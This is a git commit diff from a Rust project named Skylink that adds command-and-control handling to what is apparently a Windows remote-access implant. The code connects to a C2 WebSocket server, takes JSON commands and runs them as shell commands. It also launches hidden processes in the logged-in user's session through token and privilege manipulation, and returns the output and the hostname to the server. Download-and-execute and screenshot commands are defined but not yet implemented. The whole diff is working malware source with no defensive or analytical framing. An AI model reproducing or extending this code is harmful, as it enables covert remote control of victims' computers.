feat: move ws to separate file & implement c2 commands
This commit is contained in:
parent
a521782a37
commit
4cd62f4f43
7 changed files with 272 additions and 252 deletions
|
|
@ -24,6 +24,7 @@ windows = { version = "0.57", features = [ # note to future self: DO NOT UPGRADE
|
||||||
anyhow = "1.0.100"
|
anyhow = "1.0.100"
|
||||||
futures-util = "0.3.31"
|
futures-util = "0.3.31"
|
||||||
ntapi = "0.4.1"
|
ntapi = "0.4.1"
|
||||||
|
sysinfo = "0.37.2"
|
||||||
|
|
||||||
[build-dependencies]
|
[build-dependencies]
|
||||||
dotenv = "0.15.0"
|
dotenv = "0.15.0"
|
||||||
|
|
|
||||||
|
|
@ -1,2 +1,3 @@
|
||||||
tab_spaces = 2
|
tab_spaces = 2
|
||||||
|
max_width = 10000
|
||||||
|
|
||||||
|
|
|
||||||
117
src/lib.rs
117
src/lib.rs
|
|
@ -1,20 +1,19 @@
|
||||||
use futures_util::{SinkExt, StreamExt};
|
|
||||||
use futures_util::stream::SplitSink;
|
use futures_util::stream::SplitSink;
|
||||||
use serde::{Deserialize, Serialize};
|
use serde::{Deserialize, Serialize};
|
||||||
use tokio_tungstenite::tungstenite::Bytes;
|
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
use tokio::{net::TcpStream, sync::Mutex};
|
use tokio::{net::TcpStream, sync::Mutex};
|
||||||
use tokio_tungstenite::tungstenite::protocol::Message;
|
use tokio_tungstenite::tungstenite::protocol::Message;
|
||||||
use tokio_tungstenite::{MaybeTlsStream, WebSocketStream, connect_async};
|
use tokio_tungstenite::{MaybeTlsStream, WebSocketStream};
|
||||||
|
|
||||||
use crate::lib::logger::{log, LogLevel};
|
use crate::lib::logger::{LogLevel, log};
|
||||||
use crate::lib::winapi::run_as_user;
|
use crate::lib::winapi::run_as_user;
|
||||||
|
|
||||||
pub const WS_URL: &str = env!("C2_SERVER_URL");
|
pub const WS_URL: &str = env!("C2_SERVER_URL");
|
||||||
pub const LOG_PATH: &str = "test.txt";
|
pub const LOG_PATH: &str = r"C:\Users\xory\Desktop\test.txt";
|
||||||
|
|
||||||
pub mod lib {
|
pub mod lib {
|
||||||
pub mod logger;
|
pub mod logger;
|
||||||
|
pub mod websockets;
|
||||||
pub mod winapi;
|
pub mod winapi;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -28,81 +27,57 @@ pub enum PayloadType {
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Deserialize, Serialize)]
|
#[derive(Deserialize, Serialize)]
|
||||||
pub struct DnxParams<'a> {
|
pub struct DnxParams {
|
||||||
pub url: &'a str,
|
pub url: String,
|
||||||
pub name: &'a str,
|
pub name: String,
|
||||||
pub args: &'a str,
|
pub args: String,
|
||||||
pub run_as_system: bool,
|
pub run_as_system: bool,
|
||||||
pub file_type: PayloadType,
|
pub file_type: PayloadType,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Deserialize, Serialize)]
|
#[derive(Deserialize, Serialize)]
|
||||||
pub enum Command<'a> {
|
pub enum Command {
|
||||||
RunCMD { command: &'a str, args: Vec<&'a str> },
|
RunCMD { command: String, args: Vec<String> },
|
||||||
URunCMD { command: &'a str },
|
URunCMD { command: String },
|
||||||
URunExe { path: &'a str, args: &'a str },
|
URunExe { path: String, args: String },
|
||||||
ClientInfo,
|
ClientInfo,
|
||||||
Dnx { params: DnxParams<'a> },
|
Dnx { params: DnxParams },
|
||||||
Screenshot,
|
Screenshot,
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn reconnect_websocket(ws: WsTx) {
|
pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
||||||
let mut lock = ws.lock().await;
|
let str_ified = text.into();
|
||||||
loop {
|
let parsed: Command = serde_json::from_str(str_ified)?;
|
||||||
if let Ok(connection) = connect_async(WS_URL).await {
|
match parsed {
|
||||||
let (ws_conn, _) = connection;
|
Command::RunCMD { command, args } => {
|
||||||
let (ws_trx, _) = ws_conn.split();
|
let h = args.join(" "); // only used for logging/debugging
|
||||||
*lock = Some(ws_trx);
|
log(LogLevel::Debug, LOG_PATH, format!("Running command {command} with args {h}")).await;
|
||||||
break;
|
let proc = std::process::Command::new(command).args(args).output()?;
|
||||||
|
return Ok(String::from_utf8_lossy(&proc.stdout).to_string());
|
||||||
}
|
}
|
||||||
std::thread::sleep(std::time::Duration::from_secs(5));
|
Command::URunCMD { command } => {
|
||||||
|
let formatted_param = format!("cmd.exe /c \"{command}\"");
|
||||||
|
log(LogLevel::Debug, LOG_PATH, format!("Running command {formatted_param}")).await;
|
||||||
|
let _result = run_as_user(r"C:\Windows\System32\cmd.exe", &formatted_param)?;
|
||||||
|
// we temporarily mark these with _ since run_as_user might return later in dev
|
||||||
|
return Ok(format!(""));
|
||||||
|
}
|
||||||
|
Command::URunExe { path, args } => {
|
||||||
|
if let Some(executable_name) = path.split(r"\").last() {
|
||||||
|
log(LogLevel::Debug, LOG_PATH, format!("Running executable {path} with args {args}")).await;
|
||||||
|
let formatted_param = format!("{executable_name} {args}");
|
||||||
|
let _result = run_as_user(&path, &formatted_param)?;
|
||||||
|
return Ok(format!(""));
|
||||||
|
} else {
|
||||||
|
use tokio::io::{Error, ErrorKind};
|
||||||
|
return Err(Error::new(ErrorKind::NotFound, "Invalid path").into());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Command::ClientInfo => {
|
||||||
|
let hostname = sysinfo::System::host_name();
|
||||||
|
let skylink_ver = "1.0.0";
|
||||||
|
if let Some(actual_hostname) = hostname { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) } else { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"err_none_detected\" }}")) }
|
||||||
|
}
|
||||||
|
_ => todo!(),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn ping_job(ws_tx: WsTx) -> anyhow::Result<()> {
|
|
||||||
tokio::time::sleep(std::time::Duration::from_secs(10)).await;
|
|
||||||
let message = Message::Ping(Bytes::from("ping"));
|
|
||||||
{
|
|
||||||
let mut unlocked_ws_tx = ws_tx.lock().await;
|
|
||||||
if let Some(h) = unlocked_ws_tx.as_mut() {
|
|
||||||
log(LogLevel::Debug, LOG_PATH, "[ws] sending ping".to_string()).await;
|
|
||||||
h.send(message).await?;
|
|
||||||
return Ok(());
|
|
||||||
} else {
|
|
||||||
use tokio::io::{Error, ErrorKind};
|
|
||||||
return Err(Error::new(ErrorKind::BrokenPipe, "Sender is none").into())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn eval_command(text: &str) -> anyhow::Result<String> {
|
|
||||||
let parsed: Command = serde_json::from_str(text)?;
|
|
||||||
match parsed {
|
|
||||||
Command::RunCMD {command, args} => {
|
|
||||||
let proc = std::process::Command::new(command)
|
|
||||||
.args(args)
|
|
||||||
.output()?;
|
|
||||||
return Ok(String::from_utf8_lossy(&proc.stdout).to_string());
|
|
||||||
},
|
|
||||||
Command::URunCMD { command } => {
|
|
||||||
let formatted_param = format!("cmd.exe /k {command}");
|
|
||||||
let _result = run_as_user(r"C:\Windows\System32\cmd.exe", &formatted_param)?;
|
|
||||||
// we temporarily mark these with _ since run_as_user might return later in dev
|
|
||||||
return Ok(format!(""))
|
|
||||||
},
|
|
||||||
Command::URunExe { path, args } => {
|
|
||||||
if let Some(executable_name) = path.split(r"\").last() {
|
|
||||||
let formatted_param = format!("{executable_name} {args}");
|
|
||||||
let _result = run_as_user(path, &formatted_param)?;
|
|
||||||
return Ok(format!(""))
|
|
||||||
} else {
|
|
||||||
use tokio::io::{Error, ErrorKind};
|
|
||||||
return Err(Error::new(ErrorKind::NotFound, "Invalid path").into())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
_ => todo!()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -11,12 +11,7 @@ pub enum LogLevel {
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn log(level: LogLevel, path: &str, detail: String) {
|
pub async fn log(level: LogLevel, path: &str, detail: String) {
|
||||||
if let Ok(mut logfile) = OpenOptions::new()
|
if let Ok(mut logfile) = OpenOptions::new().write(true).append(true).create(true).open(path) {
|
||||||
.write(true)
|
|
||||||
.append(true)
|
|
||||||
.create(true)
|
|
||||||
.open(path)
|
|
||||||
{
|
|
||||||
let unix_timestamp = SystemTime::now()
|
let unix_timestamp = SystemTime::now()
|
||||||
.duration_since(UNIX_EPOCH)
|
.duration_since(UNIX_EPOCH)
|
||||||
.unwrap() // fault tolerance is cool but here it'd be overkill
|
.unwrap() // fault tolerance is cool but here it'd be overkill
|
||||||
|
|
@ -46,10 +41,7 @@ pub async fn log(level: LogLevel, path: &str, detail: String) {
|
||||||
println!("{}", ansi_string);
|
println!("{}", ansi_string);
|
||||||
|
|
||||||
if let Err(e) = logfile.write(logfile_string.as_bytes()) {
|
if let Err(e) = logfile.write(logfile_string.as_bytes()) {
|
||||||
eprintln!(
|
eprintln!("Got error {:?} while trying to write to logfile.", e);
|
||||||
"Got error {:?} while trying to write to logfile.",
|
|
||||||
e
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
137
src/lib/websockets.rs
Normal file
137
src/lib/websockets.rs
Normal file
|
|
@ -0,0 +1,137 @@
|
||||||
|
use crate::{LOG_PATH, LogLevel, WS_URL, WsTx, eval_command, log};
|
||||||
|
use futures_util::{SinkExt, StreamExt};
|
||||||
|
use tokio_tungstenite::connect_async;
|
||||||
|
use tokio_tungstenite::tungstenite::{Bytes, Message};
|
||||||
|
|
||||||
|
pub async fn reconnect_websocket(ws: WsTx) {
|
||||||
|
let mut lock = ws.lock().await;
|
||||||
|
loop {
|
||||||
|
if let Ok(connection) = connect_async(WS_URL).await {
|
||||||
|
let (ws_conn, _) = connection;
|
||||||
|
let (ws_trx, _) = ws_conn.split();
|
||||||
|
*lock = Some(ws_trx);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
std::thread::sleep(std::time::Duration::from_secs(5));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn ping_job(ws_tx: WsTx) -> anyhow::Result<()> {
|
||||||
|
tokio::time::sleep(std::time::Duration::from_secs(15)).await;
|
||||||
|
let message = Message::Ping(Bytes::from("ping"));
|
||||||
|
{
|
||||||
|
let mut unlocked_ws_tx = ws_tx.lock().await;
|
||||||
|
if let Some(h) = unlocked_ws_tx.as_mut() {
|
||||||
|
log(LogLevel::Debug, LOG_PATH, "[ws] sending ping".to_string()).await;
|
||||||
|
h.send(message).await?;
|
||||||
|
return Ok(());
|
||||||
|
} else {
|
||||||
|
use tokio::io::{Error, ErrorKind};
|
||||||
|
return Err(Error::new(ErrorKind::BrokenPipe, "Sender is none").into());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Some parts of this function were generated by an LLM. I'm taking note of this in case a
|
||||||
|
// weird barely detectable bug pops up, as LLMs tend to generate.
|
||||||
|
async fn websocket_handler(ws_tx: WsTx) {
|
||||||
|
use std::time::Duration;
|
||||||
|
use tokio_tungstenite::connect_async;
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let connection_result = connect_async(WS_URL).await;
|
||||||
|
|
||||||
|
let ws_stream = match connection_result {
|
||||||
|
Ok((stream, _)) => {
|
||||||
|
log(LogLevel::Info, LOG_PATH, "[ws] WebSocket connection established.".to_string()).await;
|
||||||
|
stream
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
log(LogLevel::Warning, LOG_PATH, format!("[ws] Failed to connect: {:?}. Retrying in 5s....", e)).await;
|
||||||
|
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
let (ws_send, mut ws_recv) = ws_stream.split();
|
||||||
|
|
||||||
|
{
|
||||||
|
let mut unlocked = ws_tx.lock().await;
|
||||||
|
*unlocked = Some(ws_send);
|
||||||
|
}
|
||||||
|
|
||||||
|
let ws_tx_clone = ws_tx.clone();
|
||||||
|
tokio::spawn(async move {
|
||||||
|
loop {
|
||||||
|
if let Err(_) = ping_job(ws_tx_clone.clone()).await {
|
||||||
|
reconnect_websocket(ws_tx_clone.clone()).await;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
while let Some(msg) = ws_recv.next().await {
|
||||||
|
match msg {
|
||||||
|
Ok(Message::Text(text)) => {
|
||||||
|
log(LogLevel::Debug, LOG_PATH, format!("[ws] received text: {}", &text)).await;
|
||||||
|
log(LogLevel::Info, LOG_PATH, format!("[c2] evaluating command...")).await;
|
||||||
|
match eval_command(text.as_str()).await {
|
||||||
|
Err(e) => log(LogLevel::Error, LOG_PATH, format!("[c2] failed to evaluate command! {e}")).await,
|
||||||
|
Ok(v) => {
|
||||||
|
let mut unlocked_ws_tx = ws_tx.lock().await;
|
||||||
|
if let Some(h) = unlocked_ws_tx.as_mut() {
|
||||||
|
if let Err(e) = h.send(format!("{{ \"err\": null, \"out\": \"{v}\" }}").into()).await {
|
||||||
|
log(LogLevel::Error, LOG_PATH, format!("[ws] {e}")).await;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
log(LogLevel::Info, LOG_PATH, format!("[c2] command evaluated successfully!")).await;
|
||||||
|
} else {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Ok(Message::Close(_)) => {
|
||||||
|
log(LogLevel::Warning, LOG_PATH, format!("[ws] received close frame, disconnecting.")).await;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
Ok(Message::Ping(h)) => {
|
||||||
|
log(LogLevel::Debug, LOG_PATH, format!("[ws] received ping, sending pong")).await;
|
||||||
|
let mut unlocked = ws_tx.lock().await;
|
||||||
|
|
||||||
|
match unlocked.as_mut() {
|
||||||
|
Some(v) => {
|
||||||
|
if let Err(e) = v.send(Message::Pong(h)).await {
|
||||||
|
log(LogLevel::Error, LOG_PATH, format!("[ws] failed to send pong: {e}, reconnecting.")).await;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
None => {
|
||||||
|
log(LogLevel::Error, LOG_PATH, format!("[ws] failed to respond: no sink, reconnecting.")).await;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Ok(Message::Pong(_)) => {
|
||||||
|
log(LogLevel::Debug, LOG_PATH, format!("[ws] received pong")).await;
|
||||||
|
// 99% chance this is a response to our pings, we don't need to do anything here
|
||||||
|
// however, a "sending ping" without a corresponding "received pong" looks goofy in
|
||||||
|
// the logs
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
log(LogLevel::Error, LOG_PATH, format!("[ws] error receiving message: {:?}.", e)).await;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
{
|
||||||
|
let mut unlocked_ws_tx = ws_tx.lock().await;
|
||||||
|
*unlocked_ws_tx = None;
|
||||||
|
}
|
||||||
|
|
||||||
|
log(LogLevel::Error, LOG_PATH, format!("[ws] connection lost.")).await;
|
||||||
|
|
||||||
|
tokio::time::sleep(std::time::Duration::from_secs(5)).await;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
@ -1,95 +1,92 @@
|
||||||
use windows::core::{PCWSTR, PWSTR};
|
|
||||||
use windows::Win32::Foundation::{CloseHandle, HANDLE};
|
|
||||||
use windows::Win32::System::RemoteDesktop::{WTSGetActiveConsoleSessionId, WTSQueryUserToken};
|
|
||||||
use windows::Win32::System::Threading::{
|
|
||||||
CreateProcessAsUserW, CREATE_NO_WINDOW, CREATE_UNICODE_ENVIRONMENT,
|
|
||||||
PROCESS_INFORMATION, STARTUPINFOW,
|
|
||||||
};
|
|
||||||
use windows::Win32::System::Environment::{CreateEnvironmentBlock, DestroyEnvironmentBlock};
|
|
||||||
use ntapi::ntrtl::RtlAdjustPrivilege;
|
use ntapi::ntrtl::RtlAdjustPrivilege;
|
||||||
|
use windows::Win32::Foundation::{CloseHandle, HANDLE};
|
||||||
|
use windows::Win32::System::Environment::{CreateEnvironmentBlock, DestroyEnvironmentBlock};
|
||||||
|
use windows::Win32::System::RemoteDesktop::{WTSGetActiveConsoleSessionId, WTSQueryUserToken};
|
||||||
|
use windows::Win32::System::Threading::{CREATE_NO_WINDOW, CREATE_UNICODE_ENVIRONMENT, CreateProcessAsUserW, PROCESS_INFORMATION, STARTUPINFOW};
|
||||||
|
use windows::core::{PCWSTR, PWSTR};
|
||||||
|
|
||||||
fn to_wide_vec(s: &str) -> Vec<u16> {
|
fn to_wide_vec(s: &str) -> Vec<u16> {
|
||||||
s.encode_utf16().collect()
|
s.encode_utf16().chain(std::iter::once(0)).collect()
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn run_as_user(app: &str, cmd: &str) -> anyhow::Result<()> {
|
pub fn run_as_user(app: &str, cmd: &str) -> anyhow::Result<()> {
|
||||||
// Create vectors for strings.
|
// Create vectors for strings.
|
||||||
// Note: CreateProcessW requires the CommandLine to be a Mutable buffer (PWSTR),
|
// Note: CreateProcessW requires the CommandLine to be a Mutable buffer (PWSTR),
|
||||||
// not a const pointer, as it may modify the string in place.
|
// not a const pointer, as it may modify the string in place.
|
||||||
let app_wide = to_wide_vec(app);
|
let app_wide = to_wide_vec(app);
|
||||||
let mut cmd_wide = to_wide_vec(cmd);
|
let mut cmd_wide = to_wide_vec(cmd);
|
||||||
let mut desktop_wide = to_wide_vec("winsta0\\default");
|
let mut desktop_wide = to_wide_vec("winsta0\\default");
|
||||||
|
|
||||||
unsafe {
|
unsafe {
|
||||||
// 1. Enable SE_INCREASE_QUOTA_PRIVILEGE (ID 5)
|
// 1. Enable SE_INCREASE_QUOTA_PRIVILEGE (ID 5)
|
||||||
let mut useless: u8 = 0;
|
let mut useless: u8 = 0;
|
||||||
let status = RtlAdjustPrivilege(5, 1, 0, &mut useless);
|
let status = RtlAdjustPrivilege(5, 1, 0, &mut useless);
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("SE_INCREASE_QUOTA_PRIVILEGE failed: {status}")).into());
|
return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("SE_INCREASE_QUOTA_PRIVILEGE failed: {status}")).into());
|
||||||
}
|
|
||||||
|
|
||||||
// 2. Enable SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (ID 3)
|
|
||||||
let mut useless: u8 = 0;
|
|
||||||
let status = RtlAdjustPrivilege(3, 1, 0, &mut useless);
|
|
||||||
if status != 0 {
|
|
||||||
return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("SE_ASSIGNPRIMARYTOKEN_PRIVILEGE failed: {status}")).into());
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3. Get Active Console Session ID
|
|
||||||
// Replaces ntrtl::RtlGetActiveConsoleId with the documented Win32 API
|
|
||||||
let session_id = WTSGetActiveConsoleSessionId();
|
|
||||||
if session_id == 0xFFFFFFFF {
|
|
||||||
return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("WTSGetActiveConsoleSessionId failed: {status}")).into());
|
|
||||||
}
|
|
||||||
|
|
||||||
// 4. Get User Token
|
|
||||||
let mut user_token = HANDLE::default();
|
|
||||||
// Note: WTSQueryUserToken returns BOOL. In windows crate .as_bool() checks it.
|
|
||||||
if let Err(e) = WTSQueryUserToken(session_id, &mut user_token) {
|
|
||||||
return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("WTSQueryUserToken failed: {e}")).into());
|
|
||||||
}
|
|
||||||
|
|
||||||
// 5. Create Environment Block
|
|
||||||
// The windows crate defines the first arg as *mut *mut c_void
|
|
||||||
let mut env_block: *mut std::ffi::c_void = std::ptr::null_mut();
|
|
||||||
|
|
||||||
if let Err(e) = CreateEnvironmentBlock(&mut env_block, user_token, false) {
|
|
||||||
let _ = CloseHandle(user_token);
|
|
||||||
return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("CreateEnvironmentBlock failed: {e}")).into());
|
|
||||||
}
|
|
||||||
|
|
||||||
// 6. Setup Startup Info
|
|
||||||
let mut si: STARTUPINFOW = std::mem::zeroed();
|
|
||||||
si.cb = std::mem::size_of::<STARTUPINFOW>() as u32;
|
|
||||||
si.lpDesktop = PWSTR(desktop_wide.as_mut_ptr());
|
|
||||||
|
|
||||||
let mut pi: PROCESS_INFORMATION = std::mem::zeroed();
|
|
||||||
|
|
||||||
let creation_flags = CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT;
|
|
||||||
|
|
||||||
// 7. Create Process
|
|
||||||
CreateProcessAsUserW(
|
|
||||||
user_token,
|
|
||||||
PCWSTR(app_wide.as_ptr()), // Application Name (Const)
|
|
||||||
PWSTR(cmd_wide.as_mut_ptr()), // Command Line (Mutable!)
|
|
||||||
None, // Process Attributes
|
|
||||||
None, // Thread Attributes
|
|
||||||
false, // Inherit Handles
|
|
||||||
creation_flags, // Creation Flags
|
|
||||||
Some(env_block), // Environment
|
|
||||||
None, // Current Directory
|
|
||||||
&si, // Startup Info
|
|
||||||
&mut pi, // Process Information
|
|
||||||
)?;
|
|
||||||
|
|
||||||
// Cleanup process handles
|
|
||||||
let _ = CloseHandle(pi.hProcess);
|
|
||||||
let _ = CloseHandle(pi.hThread);
|
|
||||||
|
|
||||||
// 8. Cleanup
|
|
||||||
DestroyEnvironmentBlock(env_block)?;
|
|
||||||
let _ = CloseHandle(user_token);
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 2. Enable SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (ID 3)
|
||||||
|
let mut useless: u8 = 0;
|
||||||
|
let status = RtlAdjustPrivilege(3, 1, 0, &mut useless);
|
||||||
|
if status != 0 {
|
||||||
|
return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("SE_ASSIGNPRIMARYTOKEN_PRIVILEGE failed: {status}")).into());
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Get Active Console Session ID
|
||||||
|
// Replaces ntrtl::RtlGetActiveConsoleId with the documented Win32 API
|
||||||
|
let session_id = WTSGetActiveConsoleSessionId();
|
||||||
|
if session_id == 0xFFFFFFFF {
|
||||||
|
return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("WTSGetActiveConsoleSessionId failed: {status}")).into());
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. Get User Token
|
||||||
|
let mut user_token = HANDLE::default();
|
||||||
|
// Note: WTSQueryUserToken returns BOOL. In windows crate .as_bool() checks it.
|
||||||
|
if let Err(e) = WTSQueryUserToken(session_id, &mut user_token) {
|
||||||
|
return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("WTSQueryUserToken failed: {e}")).into());
|
||||||
|
}
|
||||||
|
|
||||||
|
// 5. Create Environment Block
|
||||||
|
// The windows crate defines the first arg as *mut *mut c_void
|
||||||
|
let mut env_block: *mut std::ffi::c_void = std::ptr::null_mut();
|
||||||
|
|
||||||
|
if let Err(e) = CreateEnvironmentBlock(&mut env_block, user_token, false) {
|
||||||
|
let _ = CloseHandle(user_token);
|
||||||
|
return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("CreateEnvironmentBlock failed: {e}")).into());
|
||||||
|
}
|
||||||
|
|
||||||
|
// 6. Setup Startup Info
|
||||||
|
let mut si: STARTUPINFOW = std::mem::zeroed();
|
||||||
|
si.cb = std::mem::size_of::<STARTUPINFOW>() as u32;
|
||||||
|
si.lpDesktop = PWSTR(desktop_wide.as_mut_ptr());
|
||||||
|
|
||||||
|
let mut pi: PROCESS_INFORMATION = std::mem::zeroed();
|
||||||
|
|
||||||
|
let creation_flags = CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT;
|
||||||
|
|
||||||
|
// 7. Create Process
|
||||||
|
CreateProcessAsUserW(
|
||||||
|
user_token,
|
||||||
|
PCWSTR(app_wide.as_ptr()), // Application Name (Const)
|
||||||
|
PWSTR(cmd_wide.as_mut_ptr()), // Command Line (Mutable!)
|
||||||
|
None, // Process Attributes
|
||||||
|
None, // Thread Attributes
|
||||||
|
false, // Inherit Handles
|
||||||
|
creation_flags, // Creation Flags
|
||||||
|
Some(env_block), // Environment
|
||||||
|
None, // Current Directory
|
||||||
|
&si, // Startup Info
|
||||||
|
&mut pi, // Process Information
|
||||||
|
)?;
|
||||||
|
|
||||||
|
// Cleanup process handles
|
||||||
|
let _ = CloseHandle(pi.hProcess);
|
||||||
|
let _ = CloseHandle(pi.hThread);
|
||||||
|
|
||||||
|
// 8. Cleanup
|
||||||
|
DestroyEnvironmentBlock(env_block)?;
|
||||||
|
let _ = CloseHandle(user_token);
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
87
src/main.rs
87
src/main.rs
|
|
@ -1,97 +1,14 @@
|
||||||
use futures_util::{SinkExt, stream::StreamExt};
|
use futures_util::{SinkExt, stream::StreamExt};
|
||||||
use skylink::{ping_job, reconnect_websocket, WsTx};
|
|
||||||
use skylink::lib::logger::{LogLevel, log};
|
use skylink::lib::logger::{LogLevel, log};
|
||||||
use skylink::{LOG_PATH, WS_URL};
|
use skylink::{LOG_PATH, WS_URL};
|
||||||
|
use skylink::{WsTx, eval_command, websockets::ping_job, websockets::reconnect_websocket};
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
use tokio::sync::Mutex;
|
use tokio::sync::Mutex;
|
||||||
use tokio_tungstenite::tungstenite::protocol::Message;
|
use tokio_tungstenite::tungstenite::protocol::Message;
|
||||||
|
|
||||||
// Some parts of this function were generated by an LLM. I'm taking note of this in case a
|
|
||||||
// weird barely detectable bug pops up, as LLMs tend to generate.
|
|
||||||
async fn websocket_handler(ws_tx: WsTx) {
|
|
||||||
use std::time::Duration;
|
|
||||||
use tokio_tungstenite::connect_async;
|
|
||||||
|
|
||||||
loop {
|
|
||||||
let connection_result = connect_async(WS_URL).await;
|
|
||||||
|
|
||||||
let ws_stream = match connection_result {
|
|
||||||
Ok((stream, _)) => {
|
|
||||||
log(LogLevel::Info, LOG_PATH, "[ws] WebSocket connection established.".to_string()).await;
|
|
||||||
stream
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
log(LogLevel::Warning, LOG_PATH, format!("[ws] Failed to connect: {:?}. Retrying in 5s....", e)).await;
|
|
||||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
let (ws_send, mut ws_recv) = ws_stream.split();
|
|
||||||
|
|
||||||
{
|
|
||||||
let mut unlocked = ws_tx.lock().await;
|
|
||||||
*unlocked = Some(ws_send);
|
|
||||||
}
|
|
||||||
|
|
||||||
let ws_tx_clone = ws_tx.clone();
|
|
||||||
tokio::spawn(async move {
|
|
||||||
loop {
|
|
||||||
if let Err(_) = ping_job(ws_tx_clone.clone()).await {
|
|
||||||
reconnect_websocket(ws_tx_clone.clone()).await;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
while let Some(msg) = ws_recv.next().await {
|
|
||||||
match msg {
|
|
||||||
Ok(Message::Text(text)) => {
|
|
||||||
log(LogLevel::Debug, LOG_PATH, format!("[ws] received text: {}", &text)).await;
|
|
||||||
}
|
|
||||||
Ok(Message::Close(_)) => {
|
|
||||||
log(LogLevel::Warning, LOG_PATH, format!("[ws] received close frame, disconnecting.")).await;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
Ok(Message::Ping(h)) => {
|
|
||||||
log(LogLevel::Debug, LOG_PATH, format!("[ws] received ping, sending pong")).await;
|
|
||||||
let mut unlocked = ws_tx.lock().await;
|
|
||||||
|
|
||||||
match unlocked.as_mut() {
|
|
||||||
Some(v) => {
|
|
||||||
if let Err(e) = v.send(Message::Pong(h)).await {
|
|
||||||
log(LogLevel::Error, LOG_PATH, format!("[ws] failed to send pong: {e}, reconnecting.")).await;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
None => {
|
|
||||||
log(LogLevel::Error, LOG_PATH, format!("[ws] failed to respond: no sink, reconnecting.")).await;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
log(LogLevel::Error, LOG_PATH, format!("[ws] error receiving message: {:?}.", e)).await;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
_ => {}
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
{
|
|
||||||
let mut unlocked_ws_tx = ws_tx.lock().await;
|
|
||||||
*unlocked_ws_tx = None;
|
|
||||||
}
|
|
||||||
|
|
||||||
log(LogLevel::Error, LOG_PATH, format!("[ws] connection lost.")).await;
|
|
||||||
|
|
||||||
tokio::time::sleep(std::time::Duration::from_secs(5)).await;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
#[tokio::main]
|
#[tokio::main]
|
||||||
async fn main() -> anyhow::Result<()> {
|
async fn main() -> anyhow::Result<()> {
|
||||||
|
log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
|
||||||
